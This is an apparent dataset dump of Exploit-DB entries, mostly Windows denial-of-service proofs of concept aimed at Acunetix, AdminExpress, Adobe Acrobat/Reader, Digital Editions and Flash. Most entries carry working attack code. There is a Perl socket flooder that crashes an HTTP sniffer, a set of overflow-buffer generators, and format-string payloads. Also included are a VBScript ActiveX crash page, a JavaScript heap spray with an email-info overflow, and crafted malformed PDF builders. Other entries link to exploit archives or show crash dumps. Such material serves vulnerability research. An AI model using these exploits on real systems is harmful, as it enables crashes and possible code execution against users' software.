deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1137
Description: Acunetix HTTP Sniffer - Denial of Service
Type: dos
Platform: windows
Date: 2005-08-05
Author: basher13

Exploit:
#!/usr/bin/perl
#
#  Acunetix HTTP Sniffer DOS Exploit
# ------------------------------------
#  Infam0us Gr0up - Securiti Research
#
#
# Tested on Windows2000 SP4 (Win NT)
# Info: infamous.2hell.com
# Vendor URL: www.acunetix.com

$ARGC=@ARGV;
if ($ARGC !=2) {
   print "\n";
   print "  Acunetix HTTP Sniffer DOS Exploit\n";
   print "-------------------------------------\n\n";
   print "Usage: $0 [remote IP] \n";
   print "Exam: $0 127.0.0.1\n";
   exit;
}

use IO::Socket::INET;

$host=$ARGV[0];
$port= "8080";

print "\n";
print "[+] Connect to $host..\n";
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto => 'tcp')
|| die "[-] Connection error$@\n";
print "[+] Connected\n";
sleep(1);

print "[+] Build buffer..\n";
sleep(1);
$hostname="Host: $host";
$bufy='A'x50;
$bufa='A'x8183;
$len=length($bufy);
$buff="GET / HTTP/1.1\r\n";
sleep(1);

print "[+] Sending request..\n";
send($sock,$buff,0) || die "[-] send error:$@\n";
print "[+] Send DOS..";
for($i= 0; $i < 2000000; $i++)
{
$buff=" $bufa\r\n";
send($sock,$buff,0) || die "send error:$@\n[*] Check if server D0s'ed\n";
}

$buff="$hostname\r\n";
$buff.="Content-Length: $len\r\n";
$buff.="\r\n";
$buff.=$bufy."\r\n\r\n";

print "[+] Now kill the process..\n";
send($sock,$buff,0) || die "[-] send error:$@\n";
print "[+] DONE..Server Out of Memory\n";
close($sock);

# milw0rm.com [2005-08-05]
Exploit-DB #37719
Description: Acunetix Web Vulnerability Scanner 9.5 - Crash (PoC)
Type: dos
Platform: windows
Date: 2015-07-31
Author: Hadi Zomorodi Monavar

Exploit:
#!/usr/bin/env python
# Title : Acunetix Web Vulnerability Scanner 9.5 - Crash Proof Of Concept
# Website : https://www.acunetix.com
# Tested : win 7 / win 8.1 / win vista
#
#
# Author      :   Hadi Zomorodi Monavar
# Email       :   zomorodihadi@gmail.com
#
# 1 . run python code : python poc.py
# 2 . open hadi.txt and copy content to clipboard
# 3 . open "Acunetix Web Vulnerability Scanner 9.5"
# 4 . from Tools Explorer --> subdomain scanner
# 5 . Paste ClipBoard on "Domain"
# 6 . Click start
# 7 . Crashed ;)

crash = "\x41"*9000 #B0F
file = open("hadi.txt", "w")
file.write(crash)
file.close()
Exploit-DB #45186
Description: Acunetix WVS 10.0 Build 20150623 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-08-13
Author: Javier Enrique Rodriguez Gutierrez

Exploit:
# Exploit Title : Acunetix Web Vulnerability Scanner 10.0 Build 20150623 - Denial of Service (PoC)
# Discovery by: Javier Enrique Rodriguez Gutierrez
# Discovery Date    : 2018-08-11
# Vendor Homepage: https://www.acunetix.com
# Tested Version    : 10.0
# Vulnerability Type    : Denial of Service (PoC)
# Tested on OS  : Windows 10 PRO x86 en
  

# 1 . run python code : python generate.py
# 2 . open generate.txt and copy content to clipboard
# 3 . open "Acunetix Web Vulnerability Scanner 10.0"
# 4 . from Tools Explorer --> subdomain scanner
# 5 . Paste ClipBoard on "Domain"
# 6 . Click start
# 7 . Crashed
 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
buffer = "\x41" * 2769
f = open ("generate.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #46711
Description: AdminExpress 1.2.5 - 'Folder Path' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-16
Author: Mücahit İsmail Aktaş

Exploit:
# -*- coding: utf-8 -*-
#!/usr/bin/python

# Exploit Title: AdminExpress 1.2.5 - Denial of Service (PoC)
# Date: 2019-04-12
# Exploit Author: Mücahit İsmail Aktaş
# Software Link: https://admin-express.en.softonic.com/
# Version: 1.2.5.485
# Tested on: Windows XP Professional SP2

# Description:
#
# 1) Click the "System Compare" button
# 2) Paste the payload in the "Folder Path" (left)
# 3) Click the scales icon (in the middle, right side of "Folder Path")
#


buffer = "A" * 5000

print("Payload: \n\n" + buffer + "\n")
Exploit-DB #24841
Description: Adobe Acrobat / Acrobat Reader 6.0 - '.ETD' File Parser Format String
Type: dos
Platform: windows
Date: 2004-12-14
Author: Greg MacManus

Exploit:
source: https://www.securityfocus.com/bid/11934/info

Adobe Acrobat/Acrobat Reader is reported prone to a remote format string vulnerability. The vulnerability is present in the ETD file parser when processing tag values. Reports indicate that the values supplied for certain tags are used as the format string in an unspecified formatted output function. Because an attacker can control the format string and the variables passed to the formatted output function, this vulnerability may be exploited to write to arbitrary locations within the memory of the process.

<title>|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|</title>
<baseurl>|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|</baseurl>
Exploit-DB #6424
Description: Adobe Acrobat 9 - ActiveX Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-09-11
Author: Jeremy Brown

Exploit:
<!-- Jeremy Brown (0xjbrown41@gmail.com/jbrownsec.blogspot.com)
     Adobe Acrobat 9 Remote DoS (--) Tested on AA9/IE7/Vista
     I can't seem to reproduce this on XP! Oh well.
     Of course the most popular app for reading pdfs is SfS/SfI :)
     Basically it will crash with any uri that adobe doesn't like.
     Also interesting: try with file:///DoS and look in bottom left area -->

<html><body>

<object id=target classid=clsid:CA8A9780-280D-11CF-A24D[PII_REDACTED]00></object>
<script language=vbscript>

arg1="acroie:///DoS"
target.src = arg1

</script>
</body></html>

# milw0rm.com [2008-09-11]
Exploit-DB #31114
Description: Adobe Acrobat and Reader 8.1.1 - Multiple Arbitrary Code Execution / Security Vulnerabilities
Type: dos
Platform: windows
Date: 2008-02-06
Author: Paul Craig

Exploit:
source: https://www.securityfocus.com/bid/27641/info

Adobe Acrobat and Reader are prone to multiple arbitrary remote code-execution and security vulnerabilities.

Attackers can exploit these issues to execute arbitrary code in the context of the user running the affected application. Other attacks are also possible.

Versions prior to Adobe Acrobat and Adobe Reader 8.1.2 are vulnerable to these issues. 

function repeat(count,what) {
   var v = "";
   while (--count >= 0) v += what;
   return v;
}
function heapspray(shellcode) {
   block='';
   fillblock = unescape("%u9090");
   while(block.length+20+shellcode.length<0x40000) 
      block = block+block+fillblock;
   arr = new Array();
   for (i=0;i<200;i++) arr[i]=block + shellcode;
}

heapspray(unescape(“%ucccc%ucccc”));
Collab.collectEmailInfo({
   msg:repeat(4096, unescape("%u0909%u0909"))});
Exploit-DB #34603
Description: Adobe Acrobat and Reader 9.3.4 - 'acroform_PlugInMain' Memory Corruption
Type: dos
Platform: windows
Date: 2010-09-06
Author: ITSecTeam

Exploit:
source: https://www.securityfocus.com/bid/42998/info

Adobe Acrobat and Reader are prone to a remote memory-corruption vulnerability.

Attackers can exploit this issue to execute arbitrary code or cause denial-of-service conditions. 

#!user/bin/python

_doc_ = '''
-------------------------------------------------------------------------
title : adobe acrobat reader acroform_PlugInMain memory corruption
Product: Adobe Acrobat Reader
Version: 7.x, 8.x, 9.x
Tested : 8.1 - 9.1 - 9.2 - 9.3.3 - 9.3.4
Product Homepage: www.adobe.com
Tested Os : Windows XP SP1/SP3 EN 
            Windows Seven
AUTHOR  : ITSecTeam
Email   : Bug@ITSecTeam.com
Website : http://www.itsecteam.com
Forum   : http://forum.ITSecTeam.com
--------------------------------------------------------------------------
'''
import sys


def main():
	buffer = "%PDF-1.7"
	buffer += "\n1 0 obj\n"
	buffer += "<<\n"
	buffer += "/Kids [2 0 R]\n"
	buffer += "/Count 1\n"
	buffer += "/Type /Pages\n"
	buffer += ">>\n"
	buffer += "endobj\n"
	buffer += "2 0 obj\n"
	buffer += "<<\n"
	buffer += "/Group\n"
	buffer += "<<\n"
	buffer += ">>\n"
	buffer += "/Parent 1 0 R\n"
	buffer += "/Annots [3 0 R ]\n"
	buffer += ">>\n"
	buffer += "endobj\n"
	buffer += "3 0 obj\n"
	buffer += "<<\n"
	buffer += "/Subtype /Widget\n"
	buffer += "/Rect []\n"
	buffer += "/FT /Btn\n"
	buffer += ">>\n"
	buffer += "endobj\n"
	buffer += "4 0 obj\n"
	buffer += "<<\n"
	buffer += "/Names\n"
	buffer += "<<\n"
	buffer += ">>\n"
	buffer += "/Pages 1 0 R\n"
	buffer += "/OCProperties\n"
	buffer += "<<\n"
	buffer += "/D\n"
	buffer += "<<\n"
	buffer += ">>\n"
	buffer += ">>\n"
	buffer += "/AcroForm\n" 
	buffer += "<<\n"
	buffer += "/NeedAppearances true\n"
	buffer += "/DR\n"
	buffer += "<<\n"
	buffer += "/Font\n" 
	buffer += "<<\n"
	buffer += ">>\n"
	buffer += ">>\n"
	buffer += ">>\n"
	buffer += "/ViewerPreferences\n"
	buffer += "<<\n"
	buffer += ">>\n"
	buffer += ">>\n"
	buffer += "endobj xref\n"
	buffer += "[PII_REDACTED] 65535 f\n" 
	buffer += "[PII_REDACTED] 00000 n\n"
	buffer += "[PII_REDACTED] 00000 n\n"
	buffer += "[PII_REDACTED] 00000 n\n"
	buffer += "[PII_REDACTED] 00000 n\n"
	buffer += "trailer\n"
	buffer += "<<\n"
	buffer += "/Root 4 0 R\n"
	buffer += "/Size 5\n"
	buffer += ">>\n"
	buffer += "startxref\n"
	buffer += "449\n"
	buffer += "%%EOF\n"
		
	
	try:
		print "[+] Creating POC file.."
		exploit = open('crash.pdf','w');
		exploit.write(buffer);
		exploit.close();
		print "[+] POC file created!"
	except:
		print "[-] Error: try again"
		sys.exit(0)
	
if __name__=="__main__":
	print _doc_
	main()
Exploit-DB #38344
Description: Adobe Acrobat Reader - AFParseDate JavaScript API Restrictions Bypass
Type: dos
Platform: windows
Date: 2015-09-28
Author: Reigning Shells

Exploit:
# Title: Adobe Acrobat Reader AFParseDate Javascript API Restrictions
Bypass Vulnerability
# Date: 09/28/2015
# Author: Reigning Shells, based off PoC published by Zero Day Initiative
# Vendor Homepage: adobe.com
# Version: Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before
11.0.11 on Windows and OS X are vulnerable.
# Tested on: Adobe Acrobat 11.0.10 on Windows 7
# CVE : CVE-2015-3073

This vulnerability allows remote attackers to bypass API restrictions on
vulnerable installations of Adobe Reader. User interaction is required to
exploit this vulnerability in that the target must visit a malicious page
or open a malicious file.

The specific flaw exists within AFParseDate. By creating a specially
crafted PDF with specific JavaScript instructions, it is possible to bypass
the Javascript API restrictions. A remote attacker could exploit this
vulnerability to execute arbitrary code.

Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before 11.0.11 on
Windows and OS X are vulnerable.

Notes:

The code assumes you attached a DLL named exploit.txt to the PDF document
to get around attachment security restrictions.

Acrobat will execute updaternotifications.dll if it's in the same directory
as the Acrobat executable or the same directory as the document being
opened.

Credit for discovery and the initial POC that illustrates code being
executed in the privileged context (launching a URL) goes to the Zero Day
Initiative.

Code: 
https://github.com/reigningshells/CVE-2015-3073/blob/master/exploit.js
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38344.zip
Exploit-DB #8099
Description: Adobe Acrobat Reader - JBIG2 Local Buffer Overflow (PoC) (2)
Type: dos
Platform: windows
Date: 2009-02-23
Author: Guido Landi

Exploit:
#!/usr/bin/perl
# k`sOSe 02/22/2009

# http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html

my $size = "\x40\x00";
my $factor = "ABCD";
my $data = "A" x 8314;


print pdf();

sub pdf() 
{

"%PDF-1.5\n" .
"%\xec\xf5\xf2\xe1\xe4\xef\xe3\xf5\xed\xe5\xee\xf4\n" .
"3 0      \n" .
"xref\n" .
"3 16\n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" . 
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n"  .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"trailer\n" .
"<</Root 4 0 R/Info 2 0 R/ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 19/Prev 10218>>\n" .
"startxref\n" .
"0\n" .
"%%EOF\n" .
"   \n" .
"4 0 obj\n" .
"<</Type/Catalog/Pages 1 0 R/OCProperties<</OCGs[9 0 R 13 0 R]/D<</Order[9 0 R 13 0 R]/ON[9 0 R 13 0 R]/OFF[]>>>>>>\n" .
"endobj\n" .
"         \n" .
"5 0 obj\n" .
"<</Type/Page/MediaBox[0 0 640 480]/Resources<</XObject<</Im001 7 0 R/Im002 10 0 R/Im003 11 0 R/Im004 14 0 R/Im005 16 0 R>>>>/Contents 6 0 R/Parent 1 0 R>>\n" .
"endobj\n" .
"6 0 obj\n" .
"<</Length 56/Filter/FlateDecode>>\n" .
"stream\n" .
"x\x9c\xe3*T031P\x00A\x13\x0b\x08\x9d\x9c\xab\xa0\xef\x99k``\xa8\xe0\x92\xaf\x10\xc8\x85[\x81\x11!\x05\xc6\x84\x14\x98\xc0\x14\xc0\$\@\xb4\x05\xb2\n" .
"S\xb0\n" .
"\x00J\x15#,\n" .
"endstream\n" .
"endobj\n" .

"12 0 obj\n" .
"<</Subtype/Image/Width 640/Height 480/ColorSpace/DeviceGray/BitsPerComponent 1/Decode[1 0]/Interpolate true/Length 1314/Filter/JBIG2Decode>>\n" .
"stream\n" .
"\x00\x00\x00\x01" . $size . $factor . "\x13" . $data . "endstream\n" .
"endobj\n" .
"13 0 obj\n" .
"<</Type/OCG/Name(Text Color)>>\n" .
"endobj\n" .
"14 0 obj\n" .
"<</Subtype/Image/Width 1/Height 1/ColorSpace/DeviceGray/BitsPerComponent 8/SMask 12 0 R/OC 15 0 R/Length 1>>\n" .
"stream\n" .
"\x00\n" .
"endstream\n" .
"endobj\n" .

"1 0 obj\n" .
"<</Type/Pages/Kids[5 0 R]/Count 1>>\n" .
"endobj\n" .
"xref\n" . 
"0 3\n" . 
"[PII_REDACTED] 65535 f \n" .
"[PII_REDACTED] 00000 n \n" .
"[PII_REDACTED] 00000 n \n" .
"trailer\n" .
"<</ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 3>>\n" .
"startxref\n" .
"104\n" .
"%%EOF\n";

}

# milw0rm.com [2009-02-23]
Exploit-DB #5687
Description: Adobe Acrobat Reader 8.1.2 - '.PDF' Remote Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2008-05-29
Author: securfrog

Exploit:
Adobe Acrobat Reader <= 8.1.2 Reader Remote Denial Of Service
the reader deadly crash when a malformed Pdf file is opened:
00414141  AcroRd32.00414141

greetz to : Deimos, benjilenoob, Berga , http://spiritofhack.net/

Poc : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5687.pdf (2008-HI2.pdf)

# milw0rm.com [2008-05-29]
Exploit-DB #47272
Description: Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow While Processing Malformed PDF
Type: dos
Platform: windows
Date: 2019-08-15
Author: Google Security Research

Exploit:
We have observed the following access violation exception in the latest version of Adobe Acrobat Reader DC for Windows, when opening a malformed PDF file:

--- cut ---
(36ec.3210): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffff987 ebx=f8519200 ecx=290cc000 edx=290c8fbc esi=28f43098 edi=fffff851
eip=645412f9 esp=1390d9e4 ebp=00000014 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
AGM!AGMInitialize+0x584c9:
645412f9 8911            mov     dword ptr [ecx],edx  ds:002b:290cc000=????????

0:023> !heap -p -a ecx-8
    address 290cbff8 found in
    _DPH_HEAP_ROOT @ bc51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 bc53d9c:         28c10090           4bbf70 -         28c10000           4bd000
    66d6a8d0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    77304b26 ntdll!RtlDebugAllocateHeap+0x0000003c
    7725e3e6 ntdll!RtlpAllocateHeap+0x000000f6
    7725cfb7 ntdll!RtlpAllocateHeapInternal+0x000002b7
    7725ccee ntdll!RtlAllocateHeap+0x0000003e
    66e5aa2f vrfcore!VfCoreRtlAllocateHeap+0x0000001f
    74a2f1f6 ucrtbase!_malloc_base+0x00000026
    0e75fcd9 AcroRd32!AcroWinMainSandbox+0x00003ed9
    64531c72 AGM!AGMInitialize+0x00048e42
 
0:023> kb
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 1390da28 77240a31 07bb5[PII_REDACTED]0 1390daac AGM!AGMInitialize+0x584c9
01 1390da9c 74a2f1f6 f238e0c0 07bb5958 0dc0fc40 ntdll!RtlCaptureStackBackTrace+0x41
02 1390dab8 0e75fcd9 004bbf70 0e75fcc0 6451f0bd ucrtbase!_malloc_base+0x26
03 1390db54 6451e588 12b91f98 0000047b 00000001 AcroRd32!AcroWinMainSandbox+0x3ed9
04 1390db58 12b91f98 0000047b [PII_REDACTED] AGM!AGMInitialize+0x35758
05 1390db5c [PII_REDACTED] 00[PII_REDACTED]1e14 0x12b91f98
--- cut ---

Notes:

- Reproduces on Adobe Acrobat Reader DC (2[PII_REDACTED]5) on Windows 10, with and without PageHeap enabled. Without PageHeap, the crash may also be triggered in ntdll!RtlReportCriticalFailure, if the system allocator detects a corrupted chunk.

- The crash is caused by a heap-based buffer overflow and occurs immediately after opening the PDF document (poc1.pdf), or with a bit of interaction (scrolling to other pages, zooming in and out) for poc2.pdf and poc3.pdf.

- We classify the bug as a potential RCE.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47272.zip
Exploit-DB #39533
Description: Adobe Digital Editions 4.5.0 - '.pdf' Critical Memory Corruption
Type: dos
Platform: windows
Date: 2016-03-09
Author: Pier-Luc Maltais

Exploit:
########################################################################################
 
# Title: Adobe Digital Editions <= 4.5.0 - Critical memory corruption
# Application: Adobe Digital Editions
# Version: 4.5.0 and earlier versions
# Platform: Windows, Macintosh, iOS and Android
# Software Link: http://www.adobe.com/solutions/ebook/digital-editions.html
# Date: March 8, 2016
# CVE: CVE-2016-0954
# Author: Pier-Luc Maltais from COSIG
# Contact: https://twitter.com/COSIG_
# Personal contact: https://twitter.com/plmaltais
 
########################################################################################
 
===================
Introduction:
===================
 Adobe® Digital Editions software offers an engaging way to view and manage eBooks and 
 other digital publications. Use it to download and purchase digital content, which can 
 be read both online and offline. Transfer copy-protected eBooks from your personal 
 computer to other computers or devices. Organize your eBooks into a custom library and 
 annotate pages. Digital Editions also supports industry-standard eBook formats, 
 including PDF/A and EPUB. (http://www.adobe.com/ca_fr/products/digital-editions.html)

########################################################################################
 
===================
Report Timeline:
===================
 2015-10-24: Pier-Luc Maltais from COSIG found the issue and report it to Adobe PSIRT.
 2016-03-08: Vendor fixed the issue (APSB16-06).
 2016-03-08: Release of this advisory.

########################################################################################
 
===================
Technical details:
===================
 A critical memory corruption occurs when Adobe Digital Editions handle a specially
 crafted ExtGstate object, which could lead to remote code execution.
 
########################################################################################
 
==========
POC:
==========
https://plmsecurity.net/sites/plmsecurity.net/files/APSB16-06_PoC.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39533.zip
 
########################################################################################
Exploit-DB #39220
Description: Adobe Flash (Multiple Scripts) - Use-After-Free When Rendering Displays (1)
Type: dos
Platform: windows
Date: 2016-01-11
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=628

There is a use-after-free that appears to be related to rendering the display based on multiple scripts. A PoC is attached, tested on Windows only. Note the PoC is somewhat unreliable on some browsers, sometimes it needs to render a minute or two in the foreground before crashing. This is related to unreliability in the freed object being reallocated as a value that causes the crash, not unreliability in the underlying bug (it crashes immediately in a debug build of Flash). With enough effort, an attacker could likely trigger the issue immediately.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39220.zip
Exploit-DB #39778
Description: Adobe Flash (Multiple Scripts) - Use-After-Free When Rendering Displays (2)
Type: dos
Platform: windows
Date: 2016-05-06
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=719

There is a use-after-free that appears to be related to rendering the display based on multiple scripts. A PoC is attached, tested on Windows only. Note the PoC is somewhat unreliable on some browsers, sometimes it needs to render a minute or two in the foreground before crashing. This is related to unreliability in the freed object being reallocated as a value that causes the crash, not unreliability in the underlying bug (it crashes immediately in a debug build of Flash). With enough effort, an attacker could likely trigger the issue immediately.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39778.zip